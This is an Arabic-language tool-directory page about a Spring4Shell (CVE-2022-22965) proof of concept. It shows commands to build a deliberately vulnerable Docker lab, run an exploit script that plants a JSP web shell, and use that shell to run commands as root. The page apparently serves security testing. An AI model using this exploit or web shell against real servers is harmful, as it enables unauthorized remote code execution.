Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell) إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/sunnyvale-it/cve-2022-22965-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubsunnyvale-it/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell) إثبات المفهوم

عرض المستودع
731منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-22965 (Spring4Shell) إثبات المفهوم

اختبار RCE (تنفيذ التعليمات البرمجية عن بُعد) في Spring Core

بناء الصورة

البناء المعتمد على BuildKit مطلوب، لذا تحتاج إلى تفعيله.

أسهل طريقة هي تعيين متغير البيئة DOCKER_BUILDKIT=1 عند استدعاء أمر docker build، كما يلي:

root@kitploit:~
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

وإلا، لتفعيل BuildKit في docker افتراضيًا، عيّن خيار إعدادات الـ daemon في /etc/docker/daemon.json إلى true وأعد تشغيل الـ daemon:

root@kitploit:~
{ "features": { "buildkit": true } }

بهذه الطريقة يمكنك التنفيذ ببساطة

root@kitploit:~
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

اختبار التطبيق المعرّض للثغرة

root@kitploit:~
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>

تشغيل الاستغلال

root@kitploit:~
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

إذا سار كل شيء على ما يرام، نفّذ أوامر عشوائية في الحاوية عبر منفذ Tomcat HTTP، كما يلي:

root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//
root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//
root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//
تنزيل الأداة